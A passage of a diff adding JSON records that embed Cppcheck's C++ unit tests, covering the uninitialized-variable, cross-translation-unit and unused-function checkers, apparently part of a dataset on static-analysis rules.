isVariableUsageDerefValueflow()\n {\n // *p\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n // extracttests.start: extern const int SIZE;\n valueFlowUninit(\"void f() {\\n\"\n \" char a[SIZE+10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" *a += 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: *a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a[10][10];\\n\"\n \" dostuff(*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" void (*fp[1]) (void) = {function1};\\n\"\n \" (*fp[0])();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"template T Get() {return value;}\\n\"\n \"char f() {\\n\"\n \" char buf[10];\\n\"\n \" for(int i = 0; i < Get() ; ++i) \\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void Foo(double* p) {\\n\"\n \" p[0] = 0;\\n\"\n \" p[1] = 0;\\n\"\n \" p[2] = 0;\\n\"\n \" p[3] = 0;\\n\"\n \"}\\n\"\n \"double f() {\\n\"\n \" double L[2][2];\\n\"\n \" Foo(*L);\\n\"\n \" return L[0][0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #11305\n \" type_t a;\\n\"\n \" a[0] = 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_memberaccess() {\n valueFlowUninit(\"struct foo{char *bar;};\\n\"\n \"void f(unsigned long long *p) {\\n\"\n \" foo a;\\n\"\n \" ((&a)->bar) = reinterpret_cast(*p);\\n\"\n \" if ((&a)->bar) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct foo{char *bar;};\\n\"\n \"void f(unsigned long long *p) {\\n\"\n \" foo a;\\n\"\n \" ((&(a))->bar) = reinterpret_cast(*p);\\n\"\n \" if ((&a)->bar) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\" // #10200\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A::B b;\\n\"\n \" b.i = 123;\\n\"\n \" x.push_back(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A::B b;\\n\"\n \" x.push_back(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (error) Uninitialized variable: b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector&x) {\\n\"\n \" A a;\\n\"\n \" a.j = 123;\\n\"\n \" x.push_back(a);\\n\"\n \"}\\n\");\n\n valueFlowUninit(\"struct A {\\n\"\n \" struct B {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"void f(std::vector& x) {\\n\"\n \" A a;\\n\"\n \" x.push_back(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { struct T { int* p; } t[2]; };\\n\" // #11018\n \"void f() {\\n\"\n \" S s;\\n\"\n \" *&s.t[0].p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" ((*&(*&s.t[0].p))) = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int i; };\\n\" // #6323\n \"void f() {\\n\"\n \" struct S s;\\n\"\n \" int x = -3;\\n\"\n \" int y = x < (1, s.i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: s.i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #11353\n \"struct S f() {\\n\"\n \" struct S s;\\n\"\n \" int* p = &s.x;\\n\"\n \" *p = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ctu_(const char* file, int line, const char code[]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctuTest() {\n ctu(\"void f(int *p) {\\n\"\n \" a = *p;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:4] -> [test.cpp:2:10]: (error) Using argument p that points at uninitialized variable x [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void use(int *p) { a = *p + 3; }\\n\"\n \"void call(int x, int *p) { x++; use(p); }\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" call(4,&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7] -> [test.cpp:2:33] -> [test.cpp:1:25]: (error) Using argument p that points at uninitialized variable x [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (!var)\\n\"\n \" return -1;\\n\" // <- early return\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" int x;\\n\"\n \" dostuff(a, &x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (cond)\\n\"\n \" *y = -1;\\n\" // <- conditionally written\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" int x;\\n\"\n \" dostuff(a, &x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void f(int *p) {\\n\"\n \" a = sizeof(*p);\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void f(int *v) {\\n\"\n \" std::cin >> *v;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:28]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"void increment(int* i) { ++(*i); }\\n\"\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(&n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:30]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n\n ctu(\"typedef struct { int type; int id; } Stem;\\n\"\n \"void lookupStem(recodeCtx h, Stem *stem) {\\n\"\n \" i = stem->type & STEM_VERT;\\n\"\n \"}\\n\"\n \"void foo() {\\n\"\n \" Stem stem;\\n\"\n \" stem.type = 0;\\n\"\n \" lookupStem(h, &stem);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:1:28]: (error) Using argument i that points at uninitialized variable n [ctuuninitvar]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestUninitVar)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedFunctions/check.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedFunctions/check.json new file mode 100644 index 0000000..49b771e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUnusedFunctions/check.json @@ -0,0 +1,25 @@ +{ + "name": "check", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 34, + "branches": 11, + "apis": 27, + "test": [ + { + "description": null, + "expected-problems": 4, + "expected-linenumbers": [ + 153, + 173, + 547, + 624 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkunusedfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestUnusedFunctions : public TestFixture {\npublic:\n TestUnusedFunctions() : TestFixture(\"TestUnusedFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(incondition);\n TEST_CASE(return1);\n TEST_CASE(return2);\n TEST_CASE(return3);\n TEST_CASE(callback1);\n TEST_CASE(callback2);\n TEST_CASE(else1);\n TEST_CASE(functionpointer);\n TEST_CASE(template1);\n TEST_CASE(template2);\n TEST_CASE(template3);\n TEST_CASE(template4); // #9805\n TEST_CASE(template5);\n TEST_CASE(template6); // #10475 crash\n TEST_CASE(template7); // #9766 crash\n TEST_CASE(template8);\n TEST_CASE(template9);\n TEST_CASE(template10);\n TEST_CASE(throwIsNotAFunction);\n TEST_CASE(unusedError);\n TEST_CASE(unusedMain);\n TEST_CASE(initializationIsNotAFunction);\n TEST_CASE(operator1); // #3195\n TEST_CASE(operator2); // #7974\n TEST_CASE(returnRef);\n TEST_CASE(attribute); // #3471 - FP __attribute__(constructor)\n TEST_CASE(initializer_list);\n TEST_CASE(member_function_ternary);\n TEST_CASE(boost);\n TEST_CASE(enumValues);\n TEST_CASE(recursive);\n\n TEST_CASE(multipleFiles); // same function name in multiple files\n\n TEST_CASE(lineNumber); // Ticket 3059\n\n TEST_CASE(ignore_declaration); // ignore declaration\n\n TEST_CASE(operatorOverload);\n\n TEST_CASE(entrypointsWin);\n TEST_CASE(entrypointsWinU);\n TEST_CASE(entrypointsUnix);\n\n TEST_CASE(includes);\n TEST_CASE(virtualFunc);\n TEST_CASE(parensInit);\n TEST_CASE(typeInCast);\n TEST_CASE(attributeCleanup);\n TEST_CASE(attributeUnused);\n TEST_CASE(attributeMaybeUnused);\n TEST_CASE(staticFunction);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n Platform::Type platform = Platform::Type::Native;\n const Settings* s = nullptr;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).platform(options.platform).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused functions..\n CheckUnusedFunctions checkUnusedFunctions;\n checkUnusedFunctions.parseTokens(tokenizer, settings1);\n (checkUnusedFunctions.check)(settings1, *this); // TODO: check result\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code ) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for unused functions..\n CheckUnusedFunctions checkUnusedFunctions;\n checkUnusedFunctions.parseTokens(tokenizer, settings);\n (checkUnusedFunctions.check)(settings, *this); // TODO: check result\n }\n\n void incondition() {\n check(\"int f1()\\n\"\n \"{\\n\"\n \" if (f1())\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function 'f1' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void return1() {\n check(\"int f1()\\n\"\n \"{\\n\"\n \" return f1();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (style) The function 'f1' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void return2() {\n check(\"char * foo()\\n\"\n \"{\\n\"\n \" return foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void return3() {\n check(\"typedef void (*VoidFunc)();\\n\" // #9602\n \"void sayHello() {\\n\"\n \" printf(\\\"Hello World\\\\n\\\");\\n\"\n \"}\\n\"\n \"VoidFunc getEventHandler() {\\n\"\n \" return sayHello;\\n\"\n \"}\\n\"\n \"void indirectHello() {\\n\"\n \" VoidFunc handler = getEventHandler();\\n\"\n \" handler();\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" indirectHello();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void callback1() {\n check(\"void f1()\\n\"\n \"{\\n\"\n \" void (*f)() = cond ? f1 : NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'f1' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void callback2() { // #8677\n check(\"class C {\\n\"\n \"public:\\n\"\n \" void callback();\\n\"\n \" void start();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::callback() {}\\n\" // <- not unused\n \"\\n\"\n \"void C::start() { ev.set(this); }\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style) The function 'start' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void else1() {\n check(\"void f1()\\n\"\n \"{\\n\"\n \" if (cond) ;\\n\"\n \" else f1();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'f1' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void functionpointer() {\n check(\"void foo() { }\\n\"\n \"int main() {\\n\"\n \" f(&foo);\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { }\\n\"\n \"int main() {\\n\"\n \" f(&::foo);\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace abc {\\n\"\n \" void foo() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" f(&abc::foo);\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace abc {\\n\"\n \" void foo() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" f = &abc::foo;\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace abc {\\n\"\n \" void foo() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" f = &::abc::foo;\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace abc {\\n\" // #3875\n \" void foo() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" f(abc::foo);\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template T f()\\n\" // #13117\n \"{\\n\"\n \" return T(1);\\n\"\n \"}\\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" auto *ptr = &f;\\n\"\n \" return ptr();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template1() {\n check(\"template void foo() { }\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" foo();\\n\"\n \" return 0\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template2() {\n check(\"void f() { }\\n\"\n \"\\n\"\n \"template void g()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"\\n\"\n \"void h() { g(); h(); }\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (style) The function 'h' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void template3() { // #4701\n check(\"class X {\\n\"\n \"public:\\n\"\n \" void bar() { foo(0); }\\n\"\n \"private:\\n\"\n \" template void foo( T t ) const;\\n\"\n \"};\\n\"\n \"template void X::foo( T t ) const { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) The function 'bar' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void template4() { // #9805\n check(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" void f() { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" f();\\n\"\n \" call(1, 2, 3);\\n\"\n \" test();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style) The function 'test' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void template5() { // #9220\n check(\"void f(){}\\n\"\n \"\\n\"\n \"typedef void(*Filter)();\\n\"\n \"\\n\"\n \"template \\n\"\n \"void g() { fun(); }\\n\"\n \"\\n\"\n \"int main() { g(); return 0;}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template6() { // #10475\n check(\"template class Ref, typename... Args>\\n\"\n \"struct Foo, Ref> : std::true_type {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template7()\n { // #9766\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void template8() { // #11485\n check(\"struct S {\\n\"\n \" template\\n\"\n \" void tf(const T&) { }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) The function 'tf' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" template\\n\"\n \" void tf(const T&) { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" C c;\\n\"\n \" c.tf(1.5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\"\n \" template\\n\"\n \" void tf(const T&) { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" C c;\\n\"\n \" c.tf(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template9() {\n check(\"template\\n\" // #7739\n \"void f(T const& t) {}\\n\"\n \"template\\n\"\n \"void g(T const& t) {\\n\"\n \" f(t);\\n\"\n \"}\\n\"\n \"template<>\\n\"\n \"void f(double const& d) {}\\n\"\n \"int main() {\\n\"\n \" g(2);\\n\"\n \" g(3.14);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template T f(T);\\n\" // #9222\n \"template T f(T i) { return i; }\\n\"\n \"template int f(int);\\n\"\n \"int main() { return f(int(2)); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void template10() {\n check(\"template\\n\" // #12013, don't crash\n \"struct S {\\n\"\n \" static const int digits = std::numeric_limits::digits;\\n\"\n \" using type = std::conditional::type;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void throwIsNotAFunction() {\n check(\"struct A {void f() const throw () {}}; int main() {A a; a.f();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedError() {\n check(\"void foo() {}\\n\"\n \"int main()\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"void foo() const {}\\n\"\n \"int main()\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"void foo() const throw() {}\\n\"\n \"int main()\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"void foo() throw() {}\\n\"\n \"int main()\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void unusedMain() {\n check(\"int main() { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializationIsNotAFunction() {\n check(\"struct B: N::A {\\n\"\n \" B(): N::A() {};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operator1() {\n check(\"struct Foo { void operator()(int a) {} };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { operator std::string(int a) {} };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operator2() { // #7974\n check(\"bool operator==(const data_t& a, const data_t& b) {\\n\"\n \" return (a.fd == b.fd);\\n\"\n \"}\\n\"\n \"bool operator==(const event& a, const event& b) {\\n\"\n \" return ((a.events == b.events) && (a.data == b.data));\\n\"\n \"}\\n\"\n \"int main(event a, event b) {\\n\"\n \" return a == b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnRef() {\n check(\"int& foo() {return x;}\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'foo' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void attribute() { // #3471 - FP __attribute__((constructor))\n check(\"void __attribute__((constructor)) f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((constructor(1000))) f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((destructor)) f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((destructor(1000))) f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // alternate syntax\n check(\"__attribute__((constructor)) void f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"__attribute__((constructor(1000))) void f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"__attribute__((destructor)) void f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"__attribute__((destructor(1000))) void f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // alternate syntax\n check(\"void f() __attribute__((constructor));\\n\"\n \"void f() { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() __attribute__((constructor(1000)));\\n\"\n \"void f() { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() __attribute__((destructor));\\n\"\n \"void f() { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() __attribute__((destructor(1000)));\\n\"\n \"void f() { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Don't crash on wrong syntax\n check(\"int x __attribute__((constructor));\\n\"\n \"int y __attribute__((destructor));\");\n\n // #10661\n check(\"extern \\\"C\\\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t dataSize) { return 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[maybe_unused]] void f() {}\\n\" // #13268\n \"__attribute__((unused)) void g() {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializer_list() {\n check(\"int foo() { return 0; }\\n\"\n \"struct A {\\n\"\n \" A() : m_i(foo())\\n\"\n \" {}\\n\"\n \"int m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8580\n check(\"int foo() { return 12345; }\\n\"\n \"int bar(std::function func) { return func(); }\\n\"\n \"\\n\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A() : a(bar([] { return foo(); })) {}\\n\"\n \" const int a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void member_function_ternary() {\n check(\"struct Foo {\\n\"\n \" void F1() {}\\n\"\n \" void F2() {}\\n\"\n \"};\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" Foo foo;\\n\"\n \" void (Foo::*ptr)();\\n\"\n \" ptr = (argc > 1 && !strcmp(argv[1], \\\"F2\\\")) ? &Foo::F2 : &Foo::F1;\\n\"\n \" (foo.*ptr)();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void boost() {\n check(\"static void _xy(const char *b, const char *e) {}\\n\"\n \"void f() {\\n\"\n \" parse(line, blanks_p >> ident[&_xy] >> blanks_p >> eol_p).full;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void enumValues() { // #11486\n check(\"enum E1 { Break1 };\\n\"\n \"struct S {\\n\"\n \" enum class E { Break };\\n\"\n \" void Break() {}\\n\"\n \" void Break1() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The function 'Break' is never used. [unusedFunction]\\n\"\n \"[test.cpp:5:10]: (style) The function 'Break1' is never used. [unusedFunction]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12899\n \" void f() {}\\n\"\n \"};\\n\"\n \"enum E { f };\\n\"\n \"int main() {\\n\"\n \" E e{ f };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void recursive() {\n check(\"void f() {\\n\" // #8159\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (style) The function 'f' is never used. [unusedFunction]\\n\",\n errout_str());\n }\n\n void multipleFiles() {\n CheckUnusedFunctions c;\n\n const char code[] = \"static void f() { }\";\n\n for (int i = 1; i <= 2; ++i) {\n const std::string fname = \"test\" + std::to_string(i) + \".cpp\";\n\n SimpleTokenizer tokenizer{settings, *this, fname};\n ASSERT(tokenizer.tokenize(code));\n\n c.parseTokens(tokenizer, settings);\n }\n\n // Check for unused functions..\n (c.check)(settings, *this); // TODO: check result\n\n ASSERT_EQUALS(\"[test1.cpp:1:13]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void lineNumber() {\n check(\"void foo();\\n\"\n \"void bar() {}\\n\"\n \"int main() {}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) The function 'bar' is never used. [unusedFunction]\\n\", errout_str());\n }\n\n void ignore_declaration() {\n check(\"void f();\\n\"\n \"void f() {}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) The function 'f' is never used. [unusedFunction]\\n\", errout_str());\n\n check(\"void f(void) {}\\n\"\n \"void (*list[])(void) = {f};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorOverload() {\n check(\"class A {\\n\"\n \"private:\\n\"\n \" friend std::ostream & operator<<(std::ostream &, const A&);\\n\"\n \"};\\n\"\n \"std::ostream & operator<<(std::ostream &os, const A&) {\\n\"\n \" os << \\\"This is class A\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{};\\n\"\n \"A operator + (const A &, const A &){ return A(); }\\n\"\n \"A operator - (const A &, const A &){ return A(); }\\n\"\n \"A operator * (const A &, const A &){ return A(); }\\n\"\n \"A operator / (const A &, const A &){ return A(); }\\n\"\n \"A operator % (const A &, const A &){ return A(); }\\n\"\n \"A operator & (const A &, const A &){ return A(); }\\n\"\n \"A operator | (const A &, const A &){ return A(); }\\n\"\n \"A operator ~ (const A &){ return A(); }\\n\"\n \"A operator ! (const A &){ return A(); }\\n\"\n \"bool operator < (const A &, const A &){ return true; }\\n\"\n \"bool operator > (const A &, const A &){ return true; }\\n\"\n \"A operator += (const A &, const A &){ return A(); }\\n\"\n \"A operator -= (const A &, const A &){ return A(); }\\n\"\n \"A operator *= (const A &, const A &){ return A(); }\\n\"\n \"A operator /= (const A &, const A &){ return A(); }\\n\"\n \"A operator %= (const A &, const A &){ return A(); }\\n\"\n \"A operator &= (const A &, const A &){ return A(); }\\n\"\n \"A operator ^= (const A &, const A &){ return A(); }\\n\"\n \"A operator |= (const A &, const A 